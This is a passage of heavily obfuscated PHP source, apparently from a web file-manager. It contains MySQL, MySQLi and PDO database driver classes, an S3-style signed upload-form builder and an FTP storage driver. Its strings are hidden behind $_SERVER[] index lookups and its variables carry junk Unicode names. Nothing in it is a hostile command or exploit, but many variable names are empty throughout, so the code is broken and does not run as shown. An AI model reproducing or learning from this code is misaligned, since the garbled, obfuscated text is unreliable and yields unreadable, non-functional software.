($Ŕ = mysql_fetch_assoc($this->queryID)) { $ˇ[] = $Ŕ; } mysql_data_seek($this->queryID, 0); } return $ˇ; } public function getFields($) { $ =& $_SERVER[]; $ء = $this->query($[928] . $this->parseKey($)); $Ѻ֍ = array(); if ($ء) { foreach ($ء as $ => $) { $Ѻ֍[$[$[31]]] = array($[32] => $[$[31]], $[33] => $[$[34]], $[35] => (bool) (strtoupper($[$[36]]) === $[929]), $[37] => $[$[38]], $[39] => strtolower($[$[40]]) == $[41], $[42] => strtolower($[$[43]]) == $[44]); } } return $Ѻ֍; } public function getTables($ٍ˓ = '') { $ޢ =& $_SERVER[]; if (!empty($ٍ˓)) { $҆ = $ޢ[930] . $ٍ˓ . $ޢ[931]; } else { $҆ = $ޢ[932]; } $ǎ = $this->query($҆); $ = array(); foreach ($ǎ as $ӣ => $⥓) { $[$ӣ] = current($⥓); } return $; } public function replace($ɴ, $ = array()) { $ؼ =& $_SERVER[]; foreach ($ɴ as $ => $ʼn) { $ = $this->parseValue($ʼn); if (is_scalar($)) { $[] = $; $Ӫ[] = $this->parseKey($); } } $Ɖ = $ؼ[933] . $this->parseTable($[$ؼ[308]]) . $ؼ[934] . implode($ؼ[50], $Ӫ) . $ؼ[935] . implode($ؼ[50], $) . $ؼ[936]; return $this->execute($Ɖ); } public function insertAll($, $ǝ֙ = array(), $Ъ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $ = array_keys($[0]); $ڛ = array(); foreach ($ as $) { $ާ = array(); foreach ($ as $Ɛ => $֣) { $֣ = $this->parseValue($֣); if (is_scalar($֣)) { $ާ[] = $֣; } } $ڛ[] = $[289] . implode($[50], $ާ) . $[936]; } array_walk($, array($this, $[937])); $ = ($Ъ ? $[938] : $[939]) . $[940] . $this->parseTable($ǝ֙[$[308]]) . $[934] . implode($[50], $) . $[941] . implode($[50], $ڛ); return $this->execute($); } public function close() { if ($this->_linkID) { mysql_close($this->_linkID); } $this->_linkID = null; } public function error() { $䠐 =& $_SERVER[]; $this->error = mysql_errno() . $䠐[4] . mysql_error($this->_linkID); if ($䠐[12] != $this->queryStr) { $this->error .= LNG($䠐[48]) . $this->queryStr; } think_trace($this->error, $䠐[12], $䠐[49]); return $this->error; } public function escapeString($̵) { if ($this->_linkID) { return mysql_real_escape_string($̵, $this->_linkID); } else { return mysql_escape_string($̵); } } public function parseKey(&$, $鳻ܠ = true) { $ӧ =& $_SERVER[]; if ($鳻ܠ) { $ = $this->parseKeyCheck($); } if ($ != $ӧ[189] && !preg_match($ӧ[942], $)) { $ = $ӧ[414] . trim($, $ӧ[414]) . $ӧ[414]; } return $; } } class DbMysqli extends Db { public function __construct($ڕ = '') { $Ь =& $_SERVER[]; if (!extension_loaded($Ь[943])) { think_exception(think_lang($Ь[14]) . $Ь[944]); } if (!empty($ڕ)) { $this->config = $ڕ; if (empty($this->config[$Ь[17]])) { $this->config[$Ь[17]] = $Ь[12]; } } } public function connect($݄ = '', $ = 0) { $Ο =& $_SERVER[]; if (!isset($this->linkID[$])) { if (empty($݄)) { $݄ = $this->config; } $this->linkID[$] = new mysqli($݄[$Ο[917]], $݄[$Ο[919]], $݄[$Ο[920]], $݄[$Ο[21]], $݄[$Ο[918]] ? intval($݄[$Ο[918]]) : 3306); if (mysqli_connect_errno()) { think_exception(mysqli_connect_error()); } $ = $this->linkID[$]->server_version; $this->linkID[$]->query($Ο[921] . think_config($Ο[922]) . $Ο[58]); if ($ > $Ο[923]) { $this->linkID[$]->query($Ο[924]); } $this->connected = !0; if (1 != think_config($Ο[22])) { unset($this->config); } } return $this->linkID[$]; } public function free() { $this->queryID->free_result(); $this->queryID = null; } public function query($) { $ƿ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $; if ($this->queryID) { $this->free(); } think_action_status($ƿ[23], 1); think_status($ƿ[24]); $this->queryID = $this->_linkID->query($); if ($this->_linkID->more_results()) { while (($ꂺ = $this->_linkID->next_result()) != NULL) { $ꂺ->free_result(); } } $this->debug(); if (!1 === $this->queryID) { $this->error(); return !1; } else { $this->numRows = $this->queryID->num_rows; $this->numCols = $this->queryID->field_count; return $this->getAll(); } } public function execute($֧) { $̌ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $֧; if ($this->queryID) { $this->free(); } think_action_status($̌[25], 1); think_status($̌[24]); $ = $this->_linkID->query($֧); $this->debug(); if (!1 === $) { $this->error(); return !1; } else { $this->numRows = $this->_linkID->affected_rows; $this->lastInsID = $this->_linkID->insert_id; return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if ($this->transTimes == 0) { $this->_linkID->autocommit(!1); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $Ŷ = $this->_linkID->commit(); $this->_linkID->autocommit(!0); $this->transTimes = 0; if (!$Ŷ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $ݸ = array(); if ($this->numRows > 0) { for ($Ǿ = 0; $Ǿ < $this->numRows; $Ǿ++) { $ݸ[$Ǿ] = $this->queryID->fetch_assoc(); } $this->queryID->data_seek(0); } return $ݸ; } public function getFields($ɮ) { $ο =& $_SERVER[]; $رˉ = $this->query($ο[928] . $this->parseKey($ɮ)); $ = array(); if ($رˉ) { foreach ($رˉ as $ => $ȴ) { $[$ȴ[$ο[31]]] = array($ο[32] => $ȴ[$ο[31]], $ο[33] => $ȴ[$ο[34]], $ο[35] => (bool) ($ȴ[$ο[36]] === $ο[12]), $ο[37] => $ȴ[$ο[38]], $ο[39] => strtolower($ȴ[$ο[40]]) == $ο[41], $ο[42] => strtolower($ȴ[$ο[43]]) == $ο[44]); } } return $; } public function getTables($ = '') { $򩠸 =& $_SERVER[]; $𗈂 = !empty($) ? $򩠸[930] . $ . $򩠸[931] : $򩠸[932]; $ = $this->query($𗈂); $ = array(); if ($) { foreach ($ as $߭ => $Ǫ) { $[$߭] = current($Ǫ); } } return $; } public function replace($ށ, $Õ = array()) { $ߕ =& $_SERVER[]; foreach ($ށ as $П => $޺) { $ݮ = $this->parseValue($޺); if (is_scalar($ݮ)) { $ړ׫[] = $ݮ; $[] = $this->parseKey($П); } } $ = $ߕ[933] . $this->parseTable($Õ[$ߕ[308]]) . $ߕ[934] . implode($ߕ[50], $) . $ߕ[935] . implode($ߕ[50], $ړ׫) . $ߕ[936]; return $this->execute($); } public function insertAll($, $Ŵ = array(), $Γ = false) { $ =& $_SERVER[]; if (!is_array($[0])) { return !1; } $Ē밙 = array_keys($[0]); $ = array(); foreach ($ as $ނ) { $ = array(); foreach ($ނ as $ => $Ű) { $Ű = $this->parseValue($Ű); if (is_scalar($Ű)) { $[] = $Ű; } } $[] = $[289] . implode($[50], $) . $[936]; } array_walk($Ē밙, array($this, $[937])); $۠ = $Γ ? $[938] : $[939]; $ = $۠ . $[940] . $this->parseTable($Ŵ[$[308]]) . $[934] . implode($[50], $Ē밙) . $[941] . implode($[50], $); return $this->execute($); } public function close() { if ($this->_linkID) { $this->_linkID->close(); } $this->_linkID = null; } public function error() { $ =& $_SERVER[]; $this->error = $this->_linkID->errno . $[4] . $this->_linkID->error; if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($ш) { if ($this->_linkID) { return $this->_linkID->real_escape_string($ш); } else { return addslashes($ш); } } public function parseKey(&$݁, $ = true) { $ߌ =& $_SERVER[]; if ($) { $݁ = $this->parseKeyCheck($݁); } if ($݁ != $ߌ[189] && !preg_match($ߌ[942], $݁)) { $݁ = $ߌ[414] . trim($݁, $ߌ[414]) . $ߌ[414]; } return $݁; } } class DbPdo extends Db { protected $PDOStatement = null; private $table = ''; public function __construct($ԁ = '') { $ =& $_SERVER[]; if (!class_exists($[945])) { think_exception(think_lang($[14]) . $[946]); } if (!empty($ԁ)) { $this->config = $ԁ; if (empty($this->config[$[17]])) { $this->config[$[17]] = array(); } } } public function connect($ަ = '', $睺 = 0) { $ =& $_SERVER[]; if (!isset($this->linkID[$睺])) { if (empty($ަ)) { $ަ = $this->config; } $ٍ = !empty($ަ[$[17]][$[18]]) ? $ަ[$[17]][$[18]] : $this->pconnect; if ($ٍ) { $ަ[$[17]][PDO::ATTR_PERSISTENT] = !0; } try { $this->linkID[$睺] = new PDO($ަ[$[947]], $ަ[$[919]], $ަ[$[920]], $ަ[$[17]]); } catch (PDOException $Ƚ) { think_exception($Ƚ->getMessage()); } $this->dbType = $this->_getDsnType($ަ[$[947]]); if (in_array($this->dbType, array($[948], $[949], $[950], $[951]))) { think_exception($[952] . $this->dbType . $[953] . $this->dbType . $[954]); } if (!$this->linkID[$睺]) { think_exception($[955]); } try { $this->linkID[$睺]->exec($[956] . think_config($[922])); } catch (Exception $Ƚ) { } $this->connected = !0; if (1 != think_config($[22])) { unset($this->config); } } return $this->linkID[$睺]; } public function free() { $this->PDOStatement = null; } public function query($޼, $ǔ© = array()) { $ =& $_SERVER[]; $this->initConnect(!1); if (!$this->_linkID) { return !1; } $this->queryStr = $޼; if (!empty($ǔ©)) { $this->queryStr .= $[957] . print_r($ǔ©, !0) . $[958]; } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($[23], 1); think_status($[24]); $this->PDOStatement = $this->_linkID->prepare($޼); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $ɏ = $this->PDOStatement->execute($ǔ©); $this->debug(); if (!1 === $ɏ) { $this->error(); return !1; } else { return $this->getAll(); } } public function execute($ڥ, $Ɛ = array()) { $Ļ =& $_SERVER[]; $this->initConnect(!0); if (!$this->_linkID) { return !1; } $this->queryStr = $ڥ; if (!empty($Ɛ)) { $this->queryStr .= $Ļ[957] . print_r($Ɛ, !0) . $Ļ[958]; } $ԁ = !1; if ($this->dbType == $Ļ[951]) { if (preg_match($Ļ[959], $this->queryStr, $)) { $this->table = think_config($Ļ[960]) . str_ireplace(think_config($Ļ[961]), $Ļ[407], $[2]); $ԁ = (bool) $this->query($Ļ[962] . strtoupper($this->table) . $Ļ[58]); } } if (!empty($this->PDOStatement)) { $this->free(); } think_action_status($Ļ[25], 1); think_status($Ļ[24]); $this->PDOStatement = $this->_linkID->prepare($ڥ); if (!1 === $this->PDOStatement) { think_exception($this->error()); } $덝 = $this->PDOStatement->execute($Ɛ); $this->debug(); if (!1 === $덝) { $this->error(); return !1; } else { $this->numRows = $this->PDOStatement->rowCount(); if ($ԁ || preg_match($Ļ[963], $ڥ)) { $this->lastInsID = $this->getLastInsertId(); } return $this->numRows; } } public function startTrans() { $this->initConnect(!0); if (!$this->_linkID) { return !1; } if ($this->transTimes == 0) { $this->_linkID->beginTransaction(); } $this->transTimes++; return; } public function commit() { if ($this->transTimes > 0) { $̨ஊ = $this->_linkID->commit(); $this->transTimes = 0; if (!$̨ஊ) { $this->error(); return !1; } } return !0; } public function rollback() { if ($this->transTimes > 0) { $ = $this->_linkID->rollback(); $this->transTimes = 0; if (!$) { $this->error(); return !1; } } return !0; } private function getAll() { $֦֊ = $this->PDOStatement->fetchAll(PDO::FETCH_ASSOC); $this->numRows = count($֦֊); return $֦֊; } public function getFields($ɿ) { $ =& $_SERVER[]; $this->initConnect(!0); if (think_config($[964])) { $ˠ = str_replace($[965], $ɿ, think_config($[964])); } else { switch ($this->dbType) { case $[948]: case $[966]: $ˠ = "\x53\x45\x4c\105\103\124\40\x20\40\143\157\154\x75\x6d\156\137\156\x61\155\x65\x20\141\x73\x20\47\116\x61\x6d\145\47\54\40\40\40\144\x61\x74\x61\x5f\164\171\x70\145\x20\x61\163\40\47\124\171\x70\x65\x27\x2c\40\40\40\x63\x6f\154\x75\155\x6e\137\144\145\x66\141\165\154\164\x20\x61\x73\40\x27\x44\x65\x66\141\165\154\164\x27\x2c\40\40\x20\x69\x73\x5f\156\165\x6c\x6c\141\x62\154\x65\x20\x61\163\x20\47\116\165\154\154\47\xa\x9\x9\x46\x52\117\115\x9\x69\x6e\146\x6f\x72\155\141\x74\151\157\156\137\x73\x63\x68\x65\155\141\56\x74\141\142\154\145\163\x20\101\123\40\164\xa\11\11\112\117\x49\x4e\11\x69\156\x66\157\162\155\x61\164\x69\x6f\156\137\163\143\x68\x65\155\141\56\x63\x6f\154\x75\155\156\x73\x20\x41\123\x20\x63\12\x9\x9\x4f\116\40\x20\164\56\x74\x61\x62\154\145\x5f\x63\141\x74\x61\x6c\x6f\147\x20\75\x20\x63\56\164\x61\142\154\x65\x5f\x63\x61\x74\x61\x6c\157\147\xa\x9\11\101\x4e\104\40\x74\x2e\164\141\x62\x6c\145\137\163\143\150\x65\x6d\141\x20\75\40\x63\56\x74\141\x62\154\145\137\163\x63\x68\x65\155\x61\xa\11\x9\x41\x4e\x44\40\164\x2e\164\x61\x62\154\x65\x5f\156\141\155\145\x20\75\40\143\56\164\141\x62\154\145\137\x6e\141\x6d\x65\xa\x9\11\127\110\x45\x52\x45\x20\40\40\164\56\x74\x61\x62\154\x65\x5f\x6e\x61\x6d\145\40\75\x20\47{$ɿ}\47"; break; case $[967]: $ˠ = $[968] . $ɿ . $[969]; break; case $[949]: case $[951]: $ˠ = $[970] . $[971] . $[972] . strtoupper($ɿ) . $[973] . strtoupper($ɿ) . $[974]; break; case $[975]: $ˠ = $[976] . $ɿ . $[977]; break; case $[950]: break; case $[978]: default: $ˠ = $[979] . ($this->dbType == $[978] ? "\140{$ɿ}\140" : $ɿ); } } $ʅ = $this->query($ˠ); $ = array(); if ($ʅ) { foreach ($ʅ as $ => $) { $ = array_change_key_case($); $[$[32]] = isset($[$[32]]) ? $[$[32]] : $[407]; $[$[33]] = isset($[$[33]]) ? $[$[33]] : $[407]; $ǟ = isset($[$[302]]) ? $[$[302]] : $[$[32]]; $[$ǟ] = array($[32] => $ǟ, $[33] => $[$[33]], $[35] => (bool) (isset($[$[103]]) && $[$[103]] === $[12] || isset($[$[35]]) && $[$[35]] === $[12]), $[37] => isset($[$[37]]) ? $[$[37]] : (isset($[$[56]]) ? $[$[56]] : $[407]), $[39] => isset($[$[94]]) ? strtolower($[$[94]]) == $[41] : (isset($[$[57]]) ? $[$[57]] : !1), $[42] => isset($[$[980]]) ? strtolower($[$[980]]) == $[44] : (isset($[$[94]]) ? $[$[94]] : !1)); } } return $; } public function getTables($ә = '') { $ڴ =& $_SERVER[]; if (think_config($ڴ[981])) { $ = str_replace($ڴ[982], $ә, think_config($ڴ[981])); } else { switch ($this->dbType) { case $ڴ[949]: case $ڴ[951]: $ = $ڴ[983]; break; case $ڴ[948]: case $ڴ[966]: $ = $ڴ[984]; break; case $ڴ[975]: $ = $ڴ[985]; break; case $ڴ[950]: think_exception(think_lang($ڴ[986]) . $ڴ[987]); break; case $ڴ[967]: $ = $ڴ[45] . $ڴ[46] . $ڴ[47]; break; case $ڴ[978]: default: if (!empty($ә)) { $ = $ڴ[930] . $ә . $ڴ[931]; } else { $ = $ڴ[932]; } } } $ = $this->query($); $ = array(); foreach ($ as $ => $䣿) { $[$] = current($䣿); } return $; } protected function parseLimit($Š) { $׍ =& $_SERVER[]; $ߣ = $׍[12]; if (!empty($Š)) { switch ($this->dbType) { case $׍[975]: case $׍[967]: $Š = explode($׍[50], $Š); if (count($Š) > 1) { $ߣ .= $׍[51] . $Š[1] . $׍[52] . $Š[0] . $׍[53]; } else { $ߣ .= $׍[51] . $Š[0] . $׍[53]; } break; case $׍[948]: case $׍[966]: break; case $׍[950]: break; case $׍[949]: case $׍[951]: break; case $׍[978]: default: $ߣ .= $׍[51] . $Š . $׍[53]; } } return $ߣ; } public function parseKey(&$ќƴ, $Ƞ = true) { $ =& $_SERVER[]; if ($Ƞ) { $ќƴ = $this->parseKeyCheck($ќƴ); } if ($this->dbType == $[978]) { if ($ќƴ != $[189] && !preg_match($[942], $ќƴ)) { $ќƴ = $[414] . trim($ќƴ, $[414]) . $[414]; } return $ќƴ; } else { return parent::parseKey($ќƴ, $Ƞ); } } public function close() { $this->_linkID = null; } public function error() { $ =& $_SERVER[]; if ($this->PDOStatement) { $ = $this->PDOStatement->errorInfo(); $this->error = $[1] . $[4] . $[2]; } else { $this->error = $[12]; } if ($[12] != $this->queryStr) { $this->error .= LNG($[48]) . $this->queryStr; } think_trace($this->error, $[12], $[49]); return $this->error; } public function escapeString($Ӻ) { $ =& $_SERVER[]; switch ($this->dbType) { case $[975]: case $[948]: case $[966]: case $[978]: return addslashes($Ӻ); case $[950]: case $[967]: case $[949]: case $[951]: return str_ireplace($[58], $[59], $Ӻ); } } protected function parseValue($͕) { $ =& $_SERVER[]; if (is_string($͕)) { $ȸ = strpos($͕, $[4]) === 0 && in_array($͕, array_keys($this->bind)); $͕ = $ȸ ? $this->escapeString($͕) : $[988] . $this->escapeString($͕) . $[988]; } elseif (isset($͕[0]) && is_string($͕[0]) && strtolower($͕[0]) == $[326]) { $͕ = $this->escapeString($͕[1]); } elseif (is_array($͕)) { $͕ = array_map(array($this, $[989]), $͕); } elseif (is_bool($͕)) { $͕ = $͕ ? $[88] : $[198]; } elseif (is_null($͕)) { $͕ = $[103]; } return $͕; } public function getLastInsertId() { $읎 =& $_SERVER[]; switch ($this->dbType) { case $읎[975]: case $읎[967]: case $읎[948]: case $읎[966]: case $읎[950]: case $읎[978]: return $this->_linkID->lastInsertId(); case $읎[949]: case $읎[951]: $ = $this->table; $ӿ͏ = $this->query("\123\x45\x4c\105\x43\124\x20{$}\x2e\x63\165\x72\162\166\141\x6c\x20\143\x75\162\162\166\x61\154\x20\106\122\x4f\x4d\x20\x64\165\x61\x6c"); return $ӿ͏ ? $ӿ͏[0][$읎[990]] : 0; } } } goto fٍ; cض: class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[][216]); } public function uploadFormData($ެ, $ = 3600) { $ =& $_SERVER[]; $ħ = $[199]; $Е = $[238]; $Ц = $[62]; $ѹ = gmdate($[239]); $޲ȏ = gmdate($[240]); $ = $[241]; $٭ = $ . $[12]; $ޝ͙ = $[242]; $ = array($this->accessKey, $޲ȏ, $this->region, $Ц, $); $ޞ = implode($[8], $); $ = array($[243] => gmdate($[1358], strtotime($[245])), $[246] => array(array($[247] => $this->bucket), array($[248] => $ħ), array($[249], $[250], $[12]), array($[249], $[251], $[12]), array($[249], $[252], $[12]), array($[253] => $ޝ͙), array($[254] => $ޞ), array($[255] => $Е), array($[256] => $ѹ), array($[257] => $٭))); $浅 = base64_encode(json_encode($)); $ƒ = hash_hmac($[258], $޲ȏ, $[259] . $this->secret, !0); $ = hash_hmac($[258], $this->region, $ƒ, !0); $ = hash_hmac($[258], $Ц, $, !0); $ᳫ = hash_hmac($[258], $, $, !0); $ = hash_hmac($[258], $浅, $ᳫ); $ = array($[215] => $[12], $[260] => $[12], $[248] => $ħ, $[253] => $ޝ͙, $[261] => $浅, $[262] => $ޞ, $[263] => $Е, $[264] => $ѹ, $[265] => $٭, $[266] => $, $[182] => $this->getHost()); return $; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\x31"; public $config = array(); public function __construct($) { parent::__construct(); if (count($) > 0) { $this->_init($); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($⊞) { $ꞻ =& $_SERVER[]; global $config; $this->appCharset = $config[$ꞻ[1385]]; $this->systemCharset = $config[$ꞻ[1386]]; if (isset($⊞[$ꞻ[1387]]) && $⊞[$ꞻ[1387]]) { $this->systemCharset = $⊞[$ꞻ[1387]]; } } public function iconvApp($ȍ) { return $this->iconvTo($ȍ, $this->systemCharset, $this->appCharset); } public function iconvSystem($) { return $this->iconvTo($, $this->appCharset, $this->systemCharset); } public function getPathOuter($Ҳ) { $ܜܢ =& $_SERVER[]; $؆ = $this->iconvApp($this->pathBase); $Ҳ = $this->iconvApp($Ҳ); if (substr($؆, 0, 2) == $ܜܢ[1311]) { $؆ = BASIC_PATH . substr($؆, 2); } if (substr($Ҳ, 0, 2) == $ܜܢ[1311]) { $Ҳ = BASIC_PATH . substr($Ҳ, 2); } $؆ = KodIO::clear($؆); $Ҳ = KodIO::clear($Ҳ); $Ҳ = substr($Ҳ, strlen($؆)); if (empty($this->pathDriver)) { return $Ҳ; } return $this->pathDriver . $ܜܢ[8] . ltrim($Ҳ, $ܜܢ[8]); } private function _init($ = array()) { $ =& $_SERVER[]; if (!function_exists($[1388])) { throw new Exception(LNG($[1389])); } $this->config = $; $this->charsetReset($); foreach ($ as $ͺ => $܁瘀) { if (isset($this->{$ͺ})) { $this->{$ͺ} = $܁瘀; } } return $this->_login($); } private function _login($ǩ) { $˫ =& $_SERVER[]; static $ = array(); $ꟺ = md5(json_encode($ǩ)); if (isset($[$ꟺ])) { foreach ($[$ꟺ] as $黭 => $) { $this->{$黭} = $; } return !0; } $ = parse_url(trim($this->server, $˫[8])); $this->host = $[$˫[182]]; $ = isset($[$˫[181]]) && $[$˫[181]] == $˫[1390] ? !0 : !1; $this->scheme = $ ? $˫[1391] : $˫[1392]; $this->port = isset($[$˫[183]]) ? $[$˫[183]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $ = $this->pasv == $˫[88] ? !0 : !1; @ftp_pasv($this->connect, $); $[$ꟺ] = array($˫[1393] => $this->connect, $˫[182] => $this->host, $˫[181] => $this->scheme, $˫[183] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($ۚ, $ٱ = '', $޺ = REPEAT_RENAME) { if ($this->setContent($ۚ, $ٱ)) { return $this->getPathOuter($ۚ); } return !1; } public function mkdir($, $癒 = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); if ($this->_isFolder($) || @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } if (!$this->mkdir($this->pathFather($))) { return !1; } if ($ = @ftp_mkdir($this->connect, $)) { return $this->getPathOuter($); } return !1; } public function copyFile($֝, $ѣ) { if (!$this->_isconn()) { return !1; } $ߗ = $this->pathThis($this->iconvSystem($֝)); $톖­ = $this->tempFile($ߗ); $ = $this->iconvApp($톖­); $this->download($֝, $); $ɯݡ = $this->upload($ѣ, $); $this->tempFileRemve($톖­); return $ɯݡ; } public function moveFile($ޝ, $ƥ) { if (!$this->_isconn()) { return !1; } $ޝ = $this->iconvSystem($ޝ); $ƥ = $this->iconvSystem($ƥ); $˘ޙ = @ftp_rename($this->connect, $ޝ, $ƥ); return $˘ޙ ? $this->getPathOuter($ƥ) : !1; } public function delFile($) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); return @ftp_delete($this->connect, $); } public function delFolder($ö) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ʾ֎ = $ť = array(); $this->fileList($ö, $ʾ֎, $ť, !0); $this->listItemCache = !0; foreach ($ť as $΍) { $ = $this->iconvSystem($΍[$_SERVER[][32]]); $ = @ftp_delete($this->connect, $); if (!$) { return !1; } } foreach ($ʾ֎ as $) { $ = $this->iconvSystem($); $ = @ftp_rmdir($this->connect, $); if (!$) { return !1; } } $ö = $this->iconvSystem($ö); return @ftp_rmdir($this->connect, $ö); } public function rename($ߒ, $ۨ) { $񁋢߅ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $ = $this->fileNameAuto($this->pathFather($ߒ), $ۨ); $ = $this->iconvSystem($); $ߒ = $this->iconvSystem($ߒ); $ = $this->pathFather($ߒ); $Է = rtrim($, $񁋢߅[8]) . $񁋢߅[8] . $; $⸿Ǧ = @ftp_rename($this->connect, $ߒ, $Է); $Է = $this->iconvApp($Է); return $⸿Ǧ ? $this->getPathOuter($Է) : !1; } private function folderInfo($׿, $ = false) { $ =& $_SERVER[]; $˛ = array($[32] => $this->pathThis($׿), $[84] => $this->getPathOuter($[8] . $׿), $[33] => $[75]); if ($) { return $˛; } $˛[$[201]] = $˛[$[85]] = 0; $˛[$[202]] = $˛[$[203]] = !0; return $˛; } private function fileInfo($ʿ, $˕ٯ = false, $ = array()) { $ =& $_SERVER[]; $ɴ = array($[32] => $this->pathThis($ʿ), $[84] => $this->getPathOuter($[8] . $ʿ), $[33] => $[200], $[76] => isset($[$[76]]) ? $[$[76]] : 0, $[174] => $this->ext($ʿ)); if ($˕ٯ) { return $ɴ; } $ɴ[$[201]] = $ɴ[$[85]] = 0; $ɴ[$[202]] = $ɴ[$[203]] = !0; $ˆ = $this->iconvSystem($ʿ); $ɴ[$[85]] = @ftp_mdtm($this->connect, $ˆ); if (empty($)) { $ = $this->objectMeta($ʿ); if (!$) { return $ɴ; } } $ɴ[$[76]] = $[$[76]]; return $ɴ; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][76]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($ʫ׳, &$, &$, $ʺ = false) { $ު =& $_SERVER[]; $ʫ׳ = $this->iconvSystem($ʫ׳); if (!$this->isFolder($ʫ׳)) { return !1; } @ftp_chdir($this->connect, $ު[8]); $ʫ׳ = rtrim($ʫ׳, $ު[8]) . $ު[8]; check_abort(); $ = @ftp_rawlist($this->connect, $ʫ׳); if (!$) { $ = array(); } $ؽ = array($ު[10] => 1, $ު[1312] => 1); foreach ($ as $) { $ݎ = $this->_listItem($); if ($ݎ[0] == $ު[784]) { continue; } $Б = $ݎ[8]; if (empty($Б) && $Б !== $ު[198] || isset($ؽ[$Б])) { continue; } $Б = $this->iconvApp($ʫ׳ . ltrim($Б, $ު[8])); $ь = array($ު[32] => $Б, $ު[33] => $ު[200], $ު[76] => $ݎ[4]); if (substr($, 0, 1) == $ު[1394]) { $ь[$ު[33]] = $ު[75]; $ь[$ު[76]] = 0; } $ = $ь[$ު[33]] == $ު[75] ? !0 : !1; $this->cacheMethodInfoSet($Б, $, $ь); if ($) { $[] = $Б; if ($ʺ) { $this->fileList($Б, $, $, $ʺ); } continue; } $[] = $ь; } $this->cacheMethodInfoSet($ʫ׳, !0); } private function _listItem($紖) { if (empty($紖)) { return array(); } $՝ = preg_split($_SERVER[][1395], $紖); if (count($՝) <= 9) { return $՝; } $՝[8] = trim(substr($紖, strpos($紖, $՝[7]) + strlen($՝[7]))); return array_splice($՝, 0, 9); } public function listPath($, $ = false) { $ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $Ñ = $ԭԓ = array(); $this->fileList($, $Ñ, $ԭԓ); foreach ($Ñ as $ => $˄) { $Ñ[$] = $this->folderInfo($˄, $); } foreach ($ԭԓ as $ => $˄) { $ԭԓ[$] = $this->fileInfo($˄[$[32]], $, $˄); } return array($[82] => $Ñ, $[83] => $ԭԓ); } public function has($, $ = false, $ӧ = true) { $ӆ =& $_SERVER[]; $ʙ = $ĕ = array(); $˽ = $ ? !0 : !1; $this->fileList($, $ʙ, $ĕ, $˽); if ($) { return array($ӆ[207] => count($ĕ), $ӆ[208] => count($ʙ)); } if ($ӧ) { if (count($ĕ)) { return !0; } } else { if (count($ʙ)) { return !0; } } return !1; } public function listAll($) { $ɹՐ =& $_SERVER[]; if (!$this->_isconn()) { return !1; } $Ǭ忝 = $ = array(); $this->fileList($, $Ǭ忝, $, !0); $݆ = array_to_keyvalue($, $ɹՐ[32]); foreach ($Ǭ忝 as $) { if (is_string($)) { $݆[$] = array($ɹՐ[76] => 0); } } return $this->listAllFiles($, $݆); } public function getContent($ޤ) { if (!$this->_isconn()) { return !1; } $ޤ = $this->iconvSystem($ޤ); return $this->fileSubstr($ޤ); } public function setContent($Ñ, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($Ñ)); $ʁ = $this->tempFile($); file_put_contents($ʁ, $); $چ = $this->upload($Ñ, $this->iconvApp($ʁ)); $this->tempFileRemve($ʁ); return $چ; } public function fileSubstr($, $ = 0, $þ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $þ); } private function ftpRequest($Â, $ߊ = 0, $ = false) { $ = $this->iconvSystem($Â); $λ = $this->scheme . $this->host . $_SERVER[][4] . $this->port; $ = curl_init(); curl_setopt($, CURLOPT_URL, $λ . $this->pathEncode($Â)); curl_setopt($, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($) { $̵ = $ߊ + $ - 1; curl_setopt($, CURLOPT_RANGE, "{$ߊ}\55{$̵}"); } curl_setopt($, CURLOPT_RETURNTRANSFER, 1); $яئ = curl_exec($); curl_close($); return $яئ; } public function upload($, $ԗ, $Ԃ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ԗ = $this->iconvSystem($ԗ); $ò = ftp_nb_put($this->connect, $, $ԗ, FTP_BINARY); while ($ò == FTP_MOREDATA) { $ò = ftp_nb_continue($this->connect); } if ($ò != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($ɔ, $ = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathFather($); if (!IO::mkdir($)) { return !1; } $ɔ = $this->iconvSystem($ɔ); $ = $this->iconvSystem($); $ԟ = ftp_nb_get($this->connect, $, $ɔ, FTP_BINARY); while ($ԟ == FTP_MOREDATA) { $ԟ = ftp_nb_continue($this->connect); } if ($ԟ != FTP_FINISHED) { return !1; } return $this->iconvApp($); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function 